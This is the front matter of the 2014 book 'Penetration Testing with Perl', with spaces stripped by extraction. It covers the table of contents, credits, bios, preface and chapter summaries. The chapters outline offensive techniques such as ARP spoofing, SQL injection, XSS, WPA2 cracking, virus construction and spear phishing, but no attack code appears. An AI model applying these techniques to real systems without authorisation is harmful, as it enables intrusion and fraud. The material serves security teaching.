the-eye.eu · 2017. 6. 8. · table of contents penetration testing with perl credits about the...
TRANSCRIPT
![Page 1: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/1.jpg)
![Page 2: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/2.jpg)
PenetrationTestingwithPerl
![Page 3: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/3.jpg)
TableofContentsPenetrationTestingwithPerl
Credits
AbouttheAuthor
AbouttheReviewers
www.PacktPub.com
Supportfiles,eBooks,discountoffers,andmoreWhysubscribe?FreeaccessforPacktaccountholders
Preface
WhatthisbookcoversWhatyouneedforthisbookWhothisbookisforConventionsReaderfeedbackCustomersupportDownloadingtheexamplecodeErrataPiracyQuestions
1.PerlProgramming
FilesRegularexpressionsLiteralsversusmetacharactersQuantifiersAnchorsCharacterclasses
RangedcharacterclassesGroupingtext(strings)Backreferences
PerlstringfunctionsandoperatorsThePerlm//matchingoperatorThePerls///substitutionoperatorRegularexpressionsandthesplit()functionRegularexpressionsandthegrep()function
CPANPerlmodulesCPANminusSummary
2.LinuxTerminalOutput
Built-inbashcommands
![Page 4: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/4.jpg)
Variableexpansion,grouping,andargumentsScriptexecutionfrombash
Input/outputstreamsOutputtofiles
InputredirectionOutputtoaninputstreamErrorhandlingwiththeshell
BasicbashprogrammingForkingprocessesintheshell
KillingrunawayforkedprocessesBashcommandexecutionfromPerl
Summary
3.IEEE802.3WiredNetworkMappingwithPerl
FootprintingInternetfootprintingCommontoolsforscanningAddressResolutionProtocolscanningtoolsServerMessageBlockinformationtoolsInternetControlMessageProtocolversusTransmissionControlProtocolversus
ARPdiscoveryDesigningourownlivehostscannerDesigningourownportscannerWritinganSMBscannerBannergrabbingAbruteforceapplication
Summary
4.IEEE802.3WiredNetworkManipulationwithPerl
PacketcapturingPacketcapturefilteringPacketlayers
TheapplicationlayerMitMARPspoofingwithPerl
EnablingpacketforwardingNetworkremappingwithpacketcaptureSummary
5.IEEE802.11WirelessProtocolandPerl
802.11terminologiesandpacketanalysisManagementframesControlanddataframes
LinuxwirelessutilitiesRFMONversusprobing
802.11packetcapturingwithPerl
![Page 5: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/5.jpg)
802.11frameheadersWritingan802.11protocolanalyzerinPerlPerlandAircrack-ngSummary
6.OpenSourceIntelligence
What’scoveredGoogledorksE-mailaddressgatheringUsingGooglefore-mailaddressgatheringUsingsocialmediafore-mailaddressgathering
Google+LinkedInFacebook
DomainNameServicesTheWhoisqueryTheDIGqueryBruteforceenumerationZonetransfersTracerouteShodan
MoreintelligenceSummary
7.SQLInjectionwithPerl
WebservicediscoveryServicediscoveryFilediscovery
SQLinjectionGETrequests
IntegerSQLinjectionStringSQLinjection
SQLcolumncountingMySQLpostexploitationDiscoveringthecolumncountGatheringserverinformationObtainingtableresultsetsObtainingrecords
Data-drivenblindSQLinjectionTime-basedblindSQLinjectionSummary
8.OtherWeb-basedAttacks
Cross-sitescriptingThereflectedXSSURLencoding
![Page 6: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/6.jpg)
EnhancingtheXSSattackXSScaveatsandhints
FileinclusionvulnerabilitydiscoveryLocalFileInclusion
LogfilecodeinjectionRemoteFileInclusion
ContentmanagementsystemsSummary
9.PasswordCracking
DigitalcredentialanalysisCrackingSHA1andMD5SHA1crackingwithPerl
ParallelprocessinginPerlMD5crackingwithPerlUsingonlineresourcesforpasswordcrackingSaltedhashes
LinuxpasswordsWPA2passphrasecrackingwithPerlFour-wayHandshake
802.11EAPOLMessage1802.11EAPOLMessage2
ThePerlWPA2crackingprogramCrackingZIPfilepasswordsSummary
10.MetadataForensics
MetadataandExifMetadataextractorExtractingmetadatafromimagesExtractingmetadatafromPDFfiles
Summary
11.SocialEngineeringwithPerl
PsychologyPerlLinux/UnixvirusesOptimizationfortrustVirusreplication
SpearphishingSpoofinge-mailswithPerl
SettingupExim4UsingtheMail::SendmailPerlmodule
Summary
12.Reporting
Whoisthisfor?ExecutiveReport
![Page 7: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/7.jpg)
TechnicalReportDocumentingwithPerlSTDOUTpipingCSVversusTXTGraphingwithPerlCreatingaPDFfile
LoggingdatatoMySQLHTMLreportingSummary
13.Perl/Tk
Event-drivenprogrammingExplainingthePerl/TkwidgetsWidgetsandthegridTheGUIhostdiscoverytoolAtabbedGUIenvironmentSummary
Index
![Page 8: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/8.jpg)
PenetrationTestingwithPerl
![Page 9: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/9.jpg)
PenetrationTestingwithPerlCopyright©2014PacktPublishing
Allrightsreserved.Nopartofthisbookmaybereproduced,storedinaretrievalsystem,ortransmittedinanyformorbyanymeans,withoutthepriorwrittenpermissionofthepublisher,exceptinthecaseofbriefquotationsembeddedincriticalarticlesorreviews.
Everyefforthasbeenmadeinthepreparationofthisbooktoensuretheaccuracyoftheinformationpresented.However,theinformationcontainedinthisbookissoldwithoutwarranty,eitherexpressorimplied.Neithertheauthor,norPacktPublishing,anditsdealersanddistributorswillbeheldliableforanydamagescausedorallegedtobecauseddirectlyorindirectlybythisbook.
PacktPublishinghasendeavoredtoprovidetrademarkinformationaboutallofthecompaniesandproductsmentionedinthisbookbytheappropriateuseofcapitals.However,PacktPublishingcannotguaranteetheaccuracyofthisinformation.
Firstpublished:December2014
Productionreference:1241214
PublishedbyPacktPublishingLtd.
LiveryPlace
35LiveryStreet
BirminghamB32PB,UK.
ISBN978-1-78328-345-3
www.packtpub.com
![Page 10: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/10.jpg)
CreditsAuthor
DouglasBerdeaux
Reviewers
MichaelScovetta
JuanMiguelVigo
CommissioningEditor
JoanneFitzpatrick
AcquisitionEditor
JoanneFitzpatrick
ContentDevelopmentEditor
AkshayNair
TechnicalEditors
MrunalM.Chavan
VeronicaFernandes
CopyEditors
JanbalDharmaraj
SayaneeMukherjee
AlfidaPaiva
ProjectCoordinator
MaryAlex
Proofreaders
SamuelRedmanBirch
AmeeshaGreen
Indexers
MariammalChettiyar
MonicaAjmeraMehta
RekhaNair
PriyaSane
TejalSoni
Graphics
![Page 11: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/11.jpg)
SheetalAute
DishaHaria
ProductionCoordinator
AlwinRoy
CoverWork
AlwinRoy
![Page 12: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/12.jpg)
AbouttheAuthorDouglasBerdeauxisawebprogrammerforauniversitylocatedinPittsburgh,PA,USA.HefoundedWeakNetLaboratoriesin2007,whichisacomputerandnetworklabenvironmentprimarilyusedforWi-Fisecurityexploration.UsingWeakNetLabs,hedesignedtheWi-Fi-security-themedWEAKERTH4NBlueGhostLinuxdistribution,theWARCARRIER802.11analysistool,thepWebPerlsuiteforwebapplicationpenetrationtesting,theshieldDBSQLRDBMS,severalAndroidapplications,andevenNintendoDSgamesandemulationsoftware.HealsodesignedanddevelopedhardwaredevicesusedtocontrolProjectMFVoIPandantiquetelephonyswitchinghardware.Inhisfreetime,Douglasisamusicianandenjoysplayingvideogamesandspendingtimewithhisbirdsandbunnies.
HehaswrittenRaidingtheWirelessEmpire,CreateSpaceIndependentPublishingPlatform,andisintheprocessofwritingRaidingtheInternetOceans—thesearetwoself-publishedtechnicalbooksthatpossesstheexcitingandstrangelifeofahacker,Seadog.HehasalsowrittenRegularExpressions:SimplicityandPowerinCode,CreateSpaceIndependentPublishingPlatform,whichisatechnicalguidetothepowerofregularexpressionsandhowtheycanbeappliedinprogrammingandscripting.Besidesbooks,hehasalsopublishedmanyarticlesininformationsecuritymagazines,including2600:TheHackerQuarterly,PenTestMagazine,Sun/OracleBigAdmin,andHakin9ITSecurityMagazine.
Iwouldliketothankmyfamily,VictoriaandDavidWeis,LynnMcLain,andDouglasJamesBerdeaux.Thankyoutomybeautifulfiancé,JulieAluise,<3andouramazingfamily,Penelope,Gabriella,Chloe,Bobby,Popchwea,Russel,Petey,Pirate,Jim,andMargaretAluiseforbeingunconditionallypatientandsupportivewhileIwasbusywritingcode.ThankyouThomasBerdeauxforgivingmemyveryownfirstcomputer.ThankyouJaimeMcLainfortheinspirationandadvice.ThankyouTekkforalwaysbeingthereforour+o.ThankyouBradCarter,Amy,GraemMurd0c,JeredMorgan,Greyarea,GrantStone,BenNichols,LeoZeygerman,andJayTurla!
![Page 13: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/13.jpg)
AbouttheReviewersMichaelScovettaisaseniorprogrammanageratMicrosoft,whereheadvisesengineeringteamsonsecuresoftwaredesignanddevelopmentpractices.Withnearly20yearsofprofessionalexperienceinthefieldofinformationtechnology,MichaelhasheldrelatedpositionsatCBS,CATechnologies,UBSFinancialServices,andCigital.HecreatedtheopensourcestaticanalyzerYascaandisaCertifiedInformationSystemsSecurityProfessional(CISSP).
MichaelhasaBachelorofSciencedegreeinComputerScienceandMathematicsfromHofstraUniversityandaMasterofSciencedegreefromCornellUniversity.
MichaelcanbecontactedonLinkedInatlinkedin.com/in/scovetta.
JuanMiguelVigocurrentlyheadstheIToperationsforanonprofitorganization.HavingbeenintheITindustryfor16years,hehasbeenemployedinmanysmall-sizedcompanies,whichweremainlyrelatedtoB2BandalsoIBM.Hehasexperienceindiversefunctionsrangingfromhelpdesktomanagement.
Inhisinitialyearsasadeveloper,hewrotetwoarticlesforaSpanishprogrammingjournalaboutwebmailsystemsandwebspiders.Asanopensourceadvocate,hehascontributedtoafewprojects,includingNetBeans(Java)andTWiki(Perl).
JuanbecameinterestedinsecurityafewyearsagoandrecentlygothisGIACWebApplicationPenetrationTestercertification.HeisabouttostartpursuingtheOSCPcertification.
First,Iwouldliketothankmyfamilyfortheirsupport(Iloveyou!).IwouldalsoliketothankallthecolleaguesImetateachworkplaceI’vebeenin(youmadetheworkmorefun!).Next,IwouldliketothankeverybodyatPacktPublishing(you’resocharming!).Finally,IwouldliketothankalltheopensourcecommunityandnonprofitorganizationswhoworktoimprovetheInternetandtheworldwelivein.
![Page 14: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/14.jpg)
www.PacktPub.com
![Page 15: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/15.jpg)
Supportfiles,eBooks,discountoffers,andmoreForsupportfilesanddownloadsrelatedtoyourbook,pleasevisitwww.PacktPub.com.
DidyouknowthatPacktofferseBookversionsofeverybookpublished,withPDFandePubfilesavailable?YoucanupgradetotheeBookversionatwww.PacktPub.comandasaprintbookcustomer,youareentitledtoadiscountontheeBookcopy.Getintouchwithusat<[email protected]>formoredetails.
Atwww.PacktPub.com,youcanalsoreadacollectionoffreetechnicalarticles,signupforarangeoffreenewslettersandreceiveexclusivediscountsandoffersonPacktbooksandeBooks.
https://www2.packtpub.com/books/subscription/packtlib
DoyouneedinstantsolutionstoyourITquestions?PacktLibisPackt’sonlinedigitalbooklibrary.Here,youcansearch,access,andreadPackt’sentirelibraryofbooks.
![Page 16: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/16.jpg)
Whysubscribe?
FullysearchableacrosseverybookpublishedbyPacktCopyandpaste,print,andbookmarkcontentOndemandandaccessibleviaawebbrowser
![Page 17: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/17.jpg)
FreeaccessforPacktaccountholdersIfyouhaveanaccountwithPacktatwww.PacktPub.com,youcanusethistoaccessPacktLibtodayandview9entirelyfreebooks.Simplyuseyourlogincredentialsforimmediateaccess.
Iwouldliketodedicatethispublicationtothosewhofollowedmysiteovertheyearsandjoinedmeonthisseemingly-limitlessjourney.Thankyouallforthesupport,words,criticism,help,orjustbeingtherewhenIneededyou.
![Page 18: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/18.jpg)
PrefaceIhavebeeninterestedinthesubjectsofartandcomputerscienceforaslongasIcanremember,andthankfully,Ihadmanypeopleinmylifewhohelpedsteermeintherightdirection.Myfathertookmetovariouscomputerclassesandsciencemuseumsasachild,andmymotherandgrandmotherbothencouragedmetobecreative,whileprovidingmewithenoughfreedomtolearnonmyown.Sowhenmybrothergavememyfirstcomputerinaround2002,Iwaschangedforever.IstartedlearningPerlprogrammingjustafewyearslater,whichwascoincidentallyaroundthesametimethatIhadcrackedmyfirstWi-FiencryptionkeyusingAircrack-ng.Astimeprogressed,thesetwoseparatepathsoverlapped,leadingmeintothestrange,complexuniverse,thatis,computerscience.
Itwasn’tuntilseveralyearspriortowritingthisbookthatItrulybegantounderstandtheharmoniousnatureofPerl,Linux,andinformationsecurity.Perlisdesignedforstringmanipulation,whichexcelsinanoperatingsystemthattreatseverythingasafile.RatherthanwritingPerlscriptstoparsetheoutputfromotherprograms,Iwasnowwritingindependentcodethatmimickedthefunctionalityofotherinformationsecurityprograms.Atthisstage,IhadanewfoundappreciationforthepowerofPerl,whichopenedthedoorforendlessopportunities,includingthisbook.
Iwasapproachedtowriteittoteachpeoplehowto“buildaportscannerandextractinformationfromNmapore-mailaddressesfromwebsites.”Thisseemedabittootrivialtojustifyanentirebook,andIfeltPerldeservedmore.BecausemanyinformationsecurityprofessionalsdonotconsiderPerltobeapracticalresource,Ihavechosentotakeadifferentpath.MygoalinwritingthisbookistothrowlightonPerl’sendlesscapabilitiesandtoteachreadersthatPerlcantakeusanywhere,whilebeingavaluableassettoanyoneintheinformationsecurityfield.
Ichosetotakethereaderintothedirtybyte-leveldepthsofcrackingWPA2,packetsniffinganddisassembly,ARPspoofing(therightway),andperformingotheradvancedtasks,suchasblindandtime-basedSQLinjection.Throughoutthecourse,myexplanationslooselyadheretothePenetrationTestingExecutionStandard(PTES)designedbypeoplewhohavespenttheirlivesworkingininformationsecurity.
ThisbookiswrittenforpeoplewhoarealreadyfamiliarwithbasicPerlprogrammingandwhohavethedesiretoadvancethisknowledgebyapplyingittoinformationsecurityandpenetrationtesting.Witheachchapter,Iencourageyoutobranchoffintotangents,expandinguponthelessonsandmodifyingthecodetopursueyourowncreativeideas.
Thisprojectwasanincrediblejourneyforme,andunfortunately,itdidn’tcomewithoutpsychologicalfees.Justlikemanyofmyprojectsinthepast,Ispentmanyhourssimplysiftingthroughoutdatedforumsandweblogpoststryingtofindanswerstostrangeerrorsorundesiredprogramoutput.Beinganopensourceadvocatetakesresilience,determination,andself-motivation.Infact,itwasoncedescribedas“passion”tomeinaninterview.ThrougheachprojectIseemtoemergeadifferentperson,andthiswasnoexception.IrealizedthisisbecausewithPerlprogramming,IamconstantlylearningandnomatterhowintimateImayfeelwiththelanguage,Icanalwaysdoitbetter.Isn’tthatright,TimToady?
![Page 19: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/19.jpg)
WhatthisbookcoversChapter1,PerlProgramming,coverssomeintermediatePerlconceptsthatuseCPANforthePerlmodulesthatwillbeusedinthisbook.Italsocoverssomeextremelyimportantbuilt-inregularexpressionfunctionsandexplainshowtogetoutputfromLinuxapplicationstreamsandkernelfiles.
Chapter2,LinuxTerminalOutput,brushesontheLinuxshellbash.Thisincludescommands,outputtotheterminal,I/Ostreams,andsomesimpleadministration.ReadingthischapterisnecessaryforanyPerlprogrammerwhodoesnotuseLinuxoranyonewhousesLinuxbutisreluctanttouseashell.YouwillalsolearnhowaPerlscriptcancallLinuxcommandsdirectlyfromtheshell.
Chapter3,IEEE802.3WiredNetworkMappingwithPerl,teachesyouhowtowritescriptsandautomationtoscanandfingerprintlivedevicesandgetallnetworkinformation.
Chapter4,IEEE802.3WiredNetworkManipulationwithPerl,helpsusunderstandhowtousePerltodevelopman-in-the-middleexploitingsoftwareandhowtosnifftraffic.
Chapter5,IEEE802.11WirelessProtocolandPerl,coversthebasic802.11WLANterminologiesandprotocolfunctionality,howLinuxhandlesandprepareswirelessdevices,thedifferenttypesofscanning,howtocapture802.11packetsusingPerl,howtowritean802.11protocolanalyzerusingPerl,andaneasywaytointerfacePerlwiththeAircrack-ngsuite.
Chapter6,OpenSourceIntelligence,coversoneofthemostimportantphasesofthepenetrationtest,opensourceinformationgatheringontargets.Thisincludespersonalinformationsuchase-mailaddressesandGoogle,LinkedIn,andFacebookdata.ItalsocoversDomainNameServiceinformationgatheringbytracingroutestohosts,zonetransfers,DIG,Whois,andmore.Wealsobrushonsupplementalonlineresourcesforclienttargetinformationgathering.
Chapter7,SQLInjectionwithPerl,teachesyousimpleSQLinjectionvulnerabilitydiscoverymethodsusingPerl.YouwilllearnaboutthedifferentmethodsofSQLinjection,post-exploitationprocesses,andevenhowtodevelopanadvancedblind-time-anddata-basedSQLinjectiontoolusingPerlprogramming.
Chapter8,OtherWeb-basedAttacks,helpsusdiscoverhowtousePerltofindandexploitdifferenttypesofcommonwebpenetrationtestingattacks.Thisincludescross-sitescripting,LocalandRemoteFileInclusion,andevenexploitingpluginsforcontentmanagementsoftware.
Chapter9,PasswordCracking,coversmanywaysinwhichwecancrackhashedpasswordsusingPerlprogramming.ThisincludessaltedandunsaltedSHA1andMD5encryptionmethods,crackingpassword-protectedcompromisedZIPfiles,andevencrackingWPA2.ThischapteralsobrieflydiscussesDigitalCredentialAnalysisandhowintelligencegatheringmethodscanbebeneficialtocrackingpasswordhashesusingbruteforcemethods.
![Page 20: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/20.jpg)
Chapter10,MetadataForensics,teachesushowtogleanprivatedataandpersonalinformationusingsimple,digitalforensicmethodswithPerlprogramming.Wemostlycovermethodsonhowtoextractmetadatafromfiles,includingimagesandPDFfiles,andweconstructourowntoolforthistaskusingPerl.
Chapter11,SocialEngineeringwithPerl,coversyetanotherveryimportantaspectofpenetrationtesting.YouwilllearnhowtoconstructvirusesandhowtoperformsimplespearphishingattacksusingPerlprogrammingafterbrieflycoveringsomebackgroundinsocialengineering.
Chapter12,Reporting,coverswhatweshouldputintoareportanditsdifferentsubsections.Reportingisthemostimportantphaseofthepenetrationtestasitisacontinuoustaskthatlaststheentiredurationofthepenetrationtest.Inthischapter,wewilldiscoverafewwaystoformatouroutputdatafromourpreviouslywrittenPerlprogramsandhowwecaneasilyuseittocreatetext,CSV,PDF,andevengraphimages.
Chapter13,Perl/Tk,exploreswaysinwhichwecancreateagraphicaluserinterfaceforourpreviouslywrittenPerlprograms.Wetakeanin-depthlookatthePerl::Tkmoduleinanobject-orientedmanner,andseehowtocreatewindows,widgets,andotherobjectsinanevent-drivenprogrammingstyle.
![Page 21: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/21.jpg)
WhatyouneedforthisbookThephysicalrequirementsinthisbookareasingle802.11Wi-FirouterthatiscapableforWPA2encryption,twoworkstations(whichcanbevirtualifnetworkedproperly)thatwillactasanattackerandavictim,asmartphonedevice,an802.11Wi-FiadapterthatissupportedbytheLinuxOSdriverforpacketinjection,networksharedstorage,andaconnectiontotheInternet.Hardwareattackingincludesnetworkeddevicesoftware,whichincludessimpleHTTPloginforms,suchasarouterandaswitch,andsmartphoneadministrationsoftware.
Thesoftwarerequiredfortheattackerisasimplepenetration-testing-themedlivedisk,suchasWEAKERTH4NLinux(usedthroughoutthisbook),whichisfreelyavailableonline.ThislivediskrequiresnoinstallationtotheharddriveandcanbeusedeveninvirtualenvironmentssuchasOracleVMVirtualBox.SoftwareforthetargetvictimincludestheMicrosoftWindowsoperatingsystem,theLinuxoperatingsystem(anyflavor),andserversoftwaresuchasHTTP/PHP,OracleMySQL,andMicrosoftWindowsSMBservices.
TheskillsrequiredarebasicPerlprogramming,simplenetworkingexperience,andminimalLinuxexperience,asmostoftheterminologiesandtasksaredetailedthroughoutthisbook.
![Page 22: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/22.jpg)
WhothisbookisforDuetotheuniquemannerinwhichthetasksareapproachedthroughoutthisbook,thisknowledgecanbeusedbyawideaudienceandthetopicscoveredmightbeappliedtoawidevarietyofsituations.ThetargetaudiencerangesfromthosewhoarenovicestoexpertPerlprogrammers,andthosewhoaregenerallyinterestedinhackingorpenetrationtesting,orpenetrationtesterswhowanttolearnmoreabouthowmanypoint-and-clickframeworksfunction.Howmuchyouwalkawaywithattheendofthisbookdependsonhowcuriousyouareaboutthesubject.
![Page 23: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/23.jpg)
ConventionsInthisbook,youwillfindanumberoftextstylesthatdistinguishbetweendifferentkindsofinformation.Herearesomeexamplesofthesestylesandanexplanationoftheirmeaning.
Codewordsintext,databasetablenames,foldernames,filenames,fileextensions,pathnames,dummyURLs,userinput,andTwitterhandlesareshownasfollows:“Let’screateanewsubroutinecalledcolCount()andseeifwecaneasilyobtainthecolumncountofthecurrenttable.”
Ablockofcodeissetasfollows:#!/usr/bin/perl-w
usestrict;
open(DICT,“words.txt”);
while(<DICT>){
printif($_=~m/([a-z])\1\1/);
}
Anycommand-lineinputoroutputiswrittenasfollows:
user@shell:~#command<arguments>
Newtermsandimportantwordsareshowninbold.Wordsthatyouseeonthescreen,forexample,inmenusordialogboxes,appearinthetextlikethis:“Let’stakeaquicklookbehindthecodeusingourwebbrowsertofindoutmoreinformationabouttheLoginpage.”
NoteWarningsorimportantnotesappearinaboxlikethis.
TipTipsandtricksappearlikethis.
![Page 24: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/24.jpg)
ReaderfeedbackFeedbackfromourreadersisalwayswelcome.Letusknowwhatyouthinkaboutthisbook—whatyoulikedordisliked.Readerfeedbackisimportantforusasithelpsusdeveloptitlesthatyouwillreallygetthemostoutof.
Tosendusgeneralfeedback,simplye-mail<[email protected]>,andmentionthebook’stitleinthesubjectofyourmessage.
Ifthereisatopicthatyouhaveexpertiseinandyouareinterestedineitherwritingorcontributingtoabook,seeourauthorguideatwww.packtpub.com/authors.
![Page 25: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/25.jpg)
CustomersupportNowthatyouaretheproudownerofaPacktbook,wehaveanumberofthingstohelpyoutogetthemostfromyourpurchase.
![Page 26: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/26.jpg)
DownloadingtheexamplecodeYoucandownloadtheexamplecodefilesfromyouraccountathttp://www.packtpub.comforallthePacktPublishingbooksyouhavepurchased.Ifyoupurchasedthisbookelsewhere,youcanvisithttp://www.packtpub.com/supportandregistertohavethefilese-maileddirectlytoyou.
![Page 27: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/27.jpg)
ErrataAlthoughwehavetakeneverycaretoensuretheaccuracyofourcontent,mistakesdohappen.Ifyoufindamistakeinoneofourbooks—maybeamistakeinthetextorthecode—wewouldbegratefulifyoucouldreportthistous.Bydoingso,youcansaveotherreadersfromfrustrationandhelpusimprovesubsequentversionsofthisbook.Ifyoufindanyerrata,pleasereportthembyvisitinghttp://www.packtpub.com/submit-errata,selectingyourbook,clickingontheErrataSubmissionFormlink,andenteringthedetailsofyourerrata.Onceyourerrataareverified,yoursubmissionwillbeacceptedandtheerratawillbeuploadedtoourwebsiteoraddedtoanylistofexistingerrataundertheErratasectionofthattitle.
Toviewthepreviouslysubmittederrata,gotohttps://www.packtpub.com/books/content/supportandenterthenameofthebookinthesearchfield.TherequiredinformationwillappearundertheErratasection.
![Page 28: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/28.jpg)
PiracyPiracyofcopyrightedmaterialontheInternetisanongoingproblemacrossallmedia.AtPackt,wetaketheprotectionofourcopyrightandlicensesveryseriously.IfyoucomeacrossanyillegalcopiesofourworksinanyformontheInternet,pleaseprovideuswiththelocationaddressorwebsitenameimmediatelysothatwecanpursuearemedy.
Pleasecontactusat<[email protected]>withalinktothesuspectedpiratedmaterial.
Weappreciateyourhelpinprotectingourauthorsandourabilitytobringyouvaluablecontent.
![Page 29: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/29.jpg)
QuestionsIfyouhaveaproblemwithanyaspectofthisbook,youcancontactusat<[email protected]>,andwewilldoourbesttoaddresstheproblem.
